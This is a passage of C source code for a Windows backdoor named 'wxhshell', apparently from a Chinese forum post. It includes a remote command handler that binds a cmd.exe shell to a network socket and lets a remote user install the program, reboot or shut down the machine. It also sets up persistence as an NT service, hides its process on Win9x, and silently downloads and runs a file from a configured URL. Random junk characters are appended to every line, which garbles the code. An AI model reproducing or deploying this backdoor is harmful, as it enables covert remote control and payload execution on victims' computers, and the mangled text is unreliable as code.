      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y?M99Vo4?  
    break; c|Nv^V*2  
  } Mnaoh:z  
  // 安装 #uT-_L}s w  
  case 'i': { 1k\1U  
    if(Install()) W]n%$a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gRKmfJ*u  
    else gR(*lXm5w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a$FELlMv  
    break; y^:g"|q  
    } 5Y)!q?#H  
  // 卸载 ^Yn{Vi2.  
  case 'r': { VzMoWD;  
    if(Uninstall()) w'.ny<Pe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s&M6DFlA  
    else lvb0dOmY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RIM"MR9qe=  
    break; q0w5ADd  
    } gNzQ"W=  
  // 显示 wxhshell 所在路径 w=3@IW  
  case 'p': { 6A/Nlk.  
    char svExeFile[MAX_PATH]; ts%@1Y?  
    strcpy(svExeFile,"\n\r"); 6$b"tdP  
      strcat(svExeFile,ExeFile); H4 & d,8:m  
        send(wsh,svExeFile,strlen(svExeFile),0); ho@f}4jhQ3  
    break; "a6 wd  
    } VA)3=82n  
  // 重启 #=b_!~:%  
  case 'b': { }jfU qqFd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gV!Eotq  
    if(Boot(REBOOT)) As1Er[>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M{:gc7%  
    else { r&xqsZ%R  
    closesocket(wsh); _d]w)YMO  
    ExitThread(0); `t:7&$>T  
    } ||}|=Sz  
    break; netKt_  
    } -Z<e`iFQS  
  // 关机 <{YP=WYW  
  case 'd': { 23y7l=.b/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ay'= M`uO_  
    if(Boot(SHUTDOWN)) & .+[~2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9*wr*  
    else { l`gRw4 /$  
    closesocket(wsh); g 6>R yjN  
    ExitThread(0); R?>a UFM  
    } 1B6Go  
    break; %zd1\We  
    } -d %bc?  
  // 获取shell 5cxA,T  
  case 's': { S]9:3~  
    CmdShell(wsh); v.cB3/$ z  
    closesocket(wsh); y*\ M7}](  
    ExitThread(0); sG0cN;I]t  
    break; eOD;@4lR  
  } _xAdvr' W  
  // 退出 "a5?cX;  
  case 'x': { p4W->AVv$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 68Wm=j.m  
    CloseIt(wsh); 5xLuuKG  
    break; +tdt>)a  
    } C?bPdJ,6  
  // 离开 =35EG{W(  
  case 'q': { &>@nW!n u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Vl * !,(i  
    closesocket(wsh); -YA1Uk  
    WSACleanup(); A7+eWg{  
    exit(1); 4'Vuhqk  
    break; yXppu[=  
        } U&wVe$  
  } eAu3,qoM  
  } xlgN}M  
0D|^S<z6  
  // 提示信息 iIcO_ZyA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f Nm Sx  
} He)v:AH  
  } `"zX<  
AJ^9[j}  
  return; l]T|QhiVd  
} D gY2:&0  
2ztP'  
// shell模块句柄 t \DS}3pv  
int CmdShell(SOCKET sock) -7'>Rw  
{ [% |i  
STARTUPINFO si; ]#j]yGV  
ZeroMemory(&si,sizeof(si)); WkXa%OZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o`M7:8G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p!|Wp  
PROCESS_INFORMATION ProcessInfo; iZg v VH  
char cmdline[]="cmd"; Ls5|4%+&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8!b#ez   
  return 0; r<UZ\d -  
} ,D+pGxbr   
EXS 1.3>  
// 自身启动模式 :f 1*-y  
int StartFromService(void) jNaK]  
{ p r(:99~3  
typedef struct T.`EDluG  
{ Cbx/  
  DWORD ExitStatus; +sQ=Uw#e  
  DWORD PebBaseAddress; #If}P$!  
  DWORD AffinityMask; \a<qI  
  DWORD BasePriority; CbS- Rz:  
  ULONG UniqueProcessId; < :<E~anH  
  ULONG InheritedFromUniqueProcessId; A%k@75V@  
}   PROCESS_BASIC_INFORMATION; xl5mI~n_~  
pu0IhDMn  
PROCNTQSIP NtQueryInformationProcess; QyJ}zwD  
] RN&s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cc$!TZq=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fp.,MIS  
)0j^Fq5[+  
  HANDLE             hProcess; :+bQPzL  
  PROCESS_BASIC_INFORMATION pbi; }NMA($@A  
SBzJQt@Hs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _o'ii VDuD  
  if(NULL == hInst ) return 0; brl(7_ 2  
Urm&4&y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i 'H{cN6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =XzrmPu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }/4 AT  
3 i Id>  
  if (!NtQueryInformationProcess) return 0; 3yszf Wr  
Ckj2$c~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kl?U 2A.=  
  if(!hProcess) return 0; ]e$mTRi*  
sG=D(n1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ONH!ms(kb  
Y4_/G4C  
  CloseHandle(hProcess); -+Axa[,5=  
~pO6C*"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + 0{m(%i  
if(hProcess==NULL) return 0; ^ |z|kc  
<4ccTl  
HMODULE hMod; q6bi{L@/R  
char procName[255]; oM G8?p  
unsigned long cbNeeded; 'Ybd'|t{}  
?3D|{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5=WzKM  
VUpa^R  
  CloseHandle(hProcess); z#ab V1 Xi  
V7[6jW gH  
if(strstr(procName,"services")) return 1; // 以服务启动 m2F2  
n+QUT   
  return 0; // 注册表启动 Jr$,w7tQn@  
} }TY}sr  
 s6bILz-u  
// 主模块 3=5K7 F  
int StartWxhshell(LPSTR lpCmdLine) gHdNqOy c  
{ }Qyuy~-&^  
  SOCKET wsl; 4[m})X2(  
BOOL val=TRUE; xP#vAR  
  int port=0; H=Scrvfx  
  struct sockaddr_in door; _1Iy/T@1  
K&Ner(/X`6  
  if(wscfg.ws_autoins) Install(); sL" h  
me:~q#k  
port=atoi(lpCmdLine); 5b>-t#N,  
&|yQwNA*a"  
if(port<=0) port=wscfg.ws_port; O'm><a>8  
~A@T_ *0  
  WSADATA data; zx` %)r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q6blX6DWU  
}<R,)ZV^G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Jv0^"]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .c__<I<G<  
  door.sin_family = AF_INET; ~puXZCatN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |osu4=s|  
  door.sin_port = htons(port);  lS@0 $  
t/55tL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;iT@41)7  
closesocket(wsl); \9"   
return 1; z=mH\!  
} w-iu/|}  
mm}y/dO~}  
  if(listen(wsl,2) == INVALID_SOCKET) { O[}{$NXw  
closesocket(wsl); 7egE."  
return 1; ?,s]5   
} F1_s%&  
  Wxhshell(wsl); di.yh3N$  
  WSACleanup(); Nq]8p =e  
44Dytpvg  
return 0;  NOY`1i  
z$g cK>@l  
} l5h+:^#M5c  
?^Gi;d5  
// 以NT服务方式启动 #jrtsv]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s!k7Wwj  
{ uu7 ?,WT  
DWORD   status = 0; YnR8mVo5Q  
  DWORD   specificError = 0xfffffff; Ibf~gr(j  
8Z&M}Llk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -VZn`6%s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sNa Lz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %x'}aTa  
  serviceStatus.dwWin32ExitCode     = 0; ( p(/  
  serviceStatus.dwServiceSpecificExitCode = 0; IRhi1{K$"  
  serviceStatus.dwCheckPoint       = 0; ./ ]xn  
  serviceStatus.dwWaitHint       = 0; H1GmC`\<[:  
6a*?m{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zA%YaekJ  
  if (hServiceStatusHandle==0) return; n!aA<  
YD3jP}Ym  
status = GetLastError(); 1NAGGr00  
  if (status!=NO_ERROR) Vc[aNpE  
{ - -fRhN>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; awXK9}.  
    serviceStatus.dwCheckPoint       = 0; 2jf73$F  
    serviceStatus.dwWaitHint       = 0; ~<N9ckK  
    serviceStatus.dwWin32ExitCode     = status; Z";&1cK  
    serviceStatus.dwServiceSpecificExitCode = specificError; %p48=|+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qX[{_$^Q  
    return; &\>=4)HB;  
  } ~dO+kD  
~8 B]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  -uKTEG[  
  serviceStatus.dwCheckPoint       = 0; u^O!5 'D%  
  serviceStatus.dwWaitHint       = 0; `@q\R-`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z!M #   
}  )[S#:PP  
aD(3.=[R  
// 处理NT服务事件,比如:启动、停止 .5"s[(S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |.4>#<$__  
{ ZaBmH|k  
switch(fdwControl) 4#Xz-5v  
{ {RGQX"k  
case SERVICE_CONTROL_STOP: )3 I~6ar  
  serviceStatus.dwWin32ExitCode = 0; z`qb>Y"xf3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cR{F|0X  
  serviceStatus.dwCheckPoint   = 0; upLjkQ)_  
  serviceStatus.dwWaitHint     = 0; \0W0o5c$  
  { ~.tl7wKkR/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zviTGhA  
  } ?f$U8A4lp  
  return; hj=qWGRgI  
case SERVICE_CONTROL_PAUSE:  0ij YE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d5>EvK U  
  break; soRY M  
case SERVICE_CONTROL_CONTINUE: =]r2;014  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A<] $[2qPj  
  break; RWRqu }a  
case SERVICE_CONTROL_INTERROGATE: =9Vo[  
  break; qSDn0^y  
}; C2aA])7 D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A0>r]<y  
} V|hwT^h  
$dxA7 `L  
// 标准应用程序主函数 !{4'=+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F( 4Ue6R  
{ oiIl\#C  
 &1f3e  
// 获取操作系统版本 >=d 5Scix  
OsIsNt=GetOsVer(); 76o3Sge:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d-C%R9  
33 S CHQ  
  // 从命令行安装 {{Qbu }/@  
  if(strpbrk(lpCmdLine,"iI")) Install(); }$'XV.  
QI'-I\Co  
  // 下载执行文件 ')}itS8  
if(wscfg.ws_downexe) { 2">de/jS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mr2Mu  
  WinExec(wscfg.ws_filenam,SW_HIDE); c|d,:u#  
} W':b6}?  
Vo6+|ztk|  
if(!OsIsNt) { *T#^|<.XG  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?K;l 5$?%  
HideProc(); F\hVunPVx  
StartWxhshell(lpCmdLine); Yo1]HG(kXB  
} %Oo f/q  
else o<J6KTLv  
  if(StartFromService()) 0l4f%'f  
  // 以服务方式启动 L+VQtp &"  
  StartServiceCtrlDispatcher(DispatchTable); j74hWz+p4  
else ZPY&q&R  
  // 普通方式启动 kh{3s:RQfC  
  StartWxhshell(lpCmdLine); z@ J>A![m  
?:M4GY" gV  
return 0; <[D>[  
}
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只看该作者 1 发表于: 2006-10-10
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